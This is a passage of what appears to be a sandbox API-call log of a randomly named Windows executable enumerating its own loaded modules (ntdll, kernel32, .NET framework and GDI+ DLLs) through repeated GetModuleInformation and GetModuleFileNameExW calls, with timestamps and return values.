nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.615] GetLastError () returned 0x7f [0033.615] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.616] GetLastError () returned 0x7f [0033.616] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x29ca6e8, cb=0xc | out: lpmodinfo=0x29ca6e8*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.616] GetLastError () returned 0x7f [0033.616] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.617] GetLastError () returned 0x7f [0033.617] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.617] GetLastError () returned 0x7f [0033.618] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x29cb874, cb=0xc | out: lpmodinfo=0x29cb874*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.618] GetLastError () returned 0x7f [0033.618] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.619] GetLastError () returned 0x7f [0033.619] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.619] GetLastError () returned 0x7f [0033.619] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x29cca30, cb=0xc | out: lpmodinfo=0x29cca30*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.620] GetLastError () returned 0x7f [0033.620] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.621] GetLastError () returned 0x7f [0033.621] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.621] GetLastError () returned 0x7f [0033.621] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x29cdc14, cb=0xc | out: lpmodinfo=0x29cdc14*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.622] GetLastError () returned 0x7f [0033.622] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.623] GetLastError () returned 0x7f [0033.623] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.623] GetLastError () returned 0x7f [0033.623] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x29cedb4, cb=0xc | out: lpmodinfo=0x29cedb4*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.624] GetLastError () returned 0x7f [0033.624] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.625] GetLastError () returned 0x7f [0033.625] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.625] GetLastError () returned 0x7f [0033.625] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x29cffd8, cb=0xc | out: lpmodinfo=0x29cffd8*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.626] GetLastError () returned 0x7f [0033.626] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.627] GetLastError () returned 0x7f [0033.627] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.627] GetLastError () returned 0x7f [0033.628] CloseHandle (hObject=0x200) returned 1 [0033.628] GetLastError () returned 0x7f [0033.656] GetCurrentProcessId () returned 0xa60 [0033.657] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.657] GetLastError () returned 0x7f [0033.657] EnumProcessModules (in: hProcess=0x200, lphModule=0x28c20f8, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x28c20f8, lpcbNeeded=0x30cdb8) returned 1 [0033.657] GetLastError () returned 0x7f [0033.657] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x28c2238, cb=0xc | out: lpmodinfo=0x28c2238*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.657] GetLastError () returned 0x7f [0033.657] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.658] GetLastError () returned 0x7f [0033.658] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.658] GetLastError () returned 0x7f [0033.658] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x28c3380, cb=0xc | out: lpmodinfo=0x28c3380*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.658] GetLastError () returned 0x7f [0033.658] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.658] GetLastError () returned 0x7f [0033.658] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.658] GetLastError () returned 0x7f [0033.659] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x28c4474, cb=0xc | out: lpmodinfo=0x28c4474*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.659] GetLastError () returned 0x7f [0033.659] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.659] GetLastError () returned 0x7f [0033.659] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.659] GetLastError () returned 0x7f [0033.659] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x28c5570, cb=0xc | out: lpmodinfo=0x28c5570*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.659] GetLastError () returned 0x7f [0033.660] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.660] GetLastError () returned 0x7f [0033.660] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.660] GetLastError () returned 0x7f [0033.660] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x28c6674, cb=0xc | out: lpmodinfo=0x28c6674*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.660] GetLastError () returned 0x7f [0033.660] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.660] GetLastError () returned 0x7f [0033.661] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.661] GetLastError () returned 0x7f [0033.661] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x28c77b0, cb=0xc | out: lpmodinfo=0x28c77b0*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.661] GetLastError () returned 0x7f [0033.661] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.661] GetLastError () returned 0x7f [0033.661] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.662] GetLastError () returned 0x7f [0033.662] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x28c88b4, cb=0xc | out: lpmodinfo=0x28c88b4*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.662] GetLastError () returned 0x7f [0033.662] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.662] GetLastError () returned 0x7f [0033.663] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.663] GetLastError () returned 0x7f [0033.663] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x28c99b0, cb=0xc | out: lpmodinfo=0x28c99b0*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.663] GetLastError () returned 0x7f [0033.663] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.663] GetLastError () returned 0x7f [0033.663] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.664] GetLastError () returned 0x7f [0033.664] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x28caaac, cb=0xc | out: lpmodinfo=0x28caaac*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.664] GetLastError () returned 0x7f [0033.664] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.664] GetLastError () returned 0x7f [0033.664] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.665] GetLastError () returned 0x7f [0033.665] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x28cbbf8, cb=0xc | out: lpmodinfo=0x28cbbf8*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.665] GetLastError () returned 0x7f [0033.665] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.665] GetLastError () returned 0x7f [0033.665] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.666] GetLastError () returned 0x7f [0033.666] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x28cccf4, cb=0xc | out: lpmodinfo=0x28cccf4*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.666] GetLastError () returned 0x7f [0033.666] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.666] GetLastError () returned 0x7f [0033.666] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.667] GetLastError () returned 0x7f [0033.667] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x28cddf8, cb=0xc | out: lpmodinfo=0x28cddf8*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.667] GetLastError () returned 0x7f [0033.667] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.667] GetLastError () returned 0x7f [0033.668] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.668] GetLastError () returned 0x7f [0033.668] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x28cef30, cb=0xc | out: lpmodinfo=0x28cef30*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.668] GetLastError () returned 0x7f [0033.668] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.669] GetLastError () returned 0x7f [0033.669] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.669] GetLastError () returned 0x7f [0033.669] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x28d002c, cb=0xc | out: lpmodinfo=0x28d002c*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.669] GetLastError () returned 0x7f [0033.669] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.670] GetLastError () returned 0x7f [0033.670] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.670] GetLastError () returned 0x7f [0033.670] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x28d1120, cb=0xc | out: lpmodinfo=0x28d1120*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.671] GetLastError () returned 0x7f [0033.671] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.671] GetLastError () returned 0x7f [0033.671] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.671] GetLastError () returned 0x7f [0033.671] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x28d221c, cb=0xc | out: lpmodinfo=0x28d221c*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.672] GetLastError () returned 0x7f [0033.672] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.672] GetLastError () returned 0x7f [0033.672] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.673] GetLastError () returned 0x7f [0033.673] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x28d3308, cb=0xc | out: lpmodinfo=0x28d3308*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.673] GetLastError () returned 0x7f [0033.673] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.673] GetLastError () returned 0x7f [0033.674] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.674] GetLastError () returned 0x7f [0033.674] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x28d448c, cb=0xc | out: lpmodinfo=0x28d448c*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.674] GetLastError () returned 0x7f [0033.674] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.675] GetLastError () returned 0x7f [0033.675] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.675] GetLastError () returned 0x7f [0033.675] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x28d5580, cb=0xc | out: lpmodinfo=0x28d5580*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.676] GetLastError () returned 0x7f [0033.676] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.676] GetLastError () returned 0x7f [0033.676] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.677] GetLastError () returned 0x7f [0033.677] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x28d6674, cb=0xc | out: lpmodinfo=0x28d6674*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.677] GetLastError () returned 0x7f [0033.677] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.678] GetLastError () returned 0x7f [0033.678] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.678] GetLastError () returned 0x7f [0033.678] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x28d7770, cb=0xc | out: lpmodinfo=0x28d7770*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.679] GetLastError () returned 0x7f [0033.679] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.679] GetLastError () returned 0x7f [0033.679] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.680] GetLastError () returned 0x7f [0033.680] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x28d88a8, cb=0xc | out: lpmodinfo=0x28d88a8*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.680] GetLastError () returned 0x7f [0033.680] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.681] GetLastError () returned 0x7f [0033.681] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.681] GetLastError () returned 0x7f [0033.681] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x28d9a3c, cb=0xc | out: lpmodinfo=0x28d9a3c*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.682] GetLastError () returned 0x7f [0033.682] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.682] GetLastError () returned 0x7f [0033.682] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.683] GetLastError () returned 0x7f [0033.683] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x28dab38, cb=0xc | out: lpmodinfo=0x28dab38*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.683] GetLastError () returned 0x7f [0033.683] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.684] GetLastError () returned 0x7f [0033.684] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.684] GetLastError () returned 0x7f [0033.684] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x28dbc2c, cb=0xc | out: lpmodinfo=0x28dbc2c*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.685] GetLastError () returned 0x7f [0033.685] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.685] GetLastError () returned 0x7f [0033.686] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.686] GetLastError () returned 0x7f [0033.686] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x28dcd28, cb=0xc | out: lpmodinfo=0x28dcd28*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.687] GetLastError () returned 0x7f [0033.687] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.687] GetLastError () returned 0x7f [0033.687] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.688] GetLastError () returned 0x7f [0033.688] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x28ddec0, cb=0xc | out: lpmodinfo=0x28ddec0*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.688] GetLastError () returned 0x7f [0033.688] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.689] GetLastError () returned 0x7f [0033.689] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.689] GetLastError () returned 0x7f [0033.690] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x28defbc, cb=0xc | out: lpmodinfo=0x28defbc*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.690] GetLastError () returned 0x7f [0033.690] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.691] GetLastError () returned 0x7f [0033.691] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: 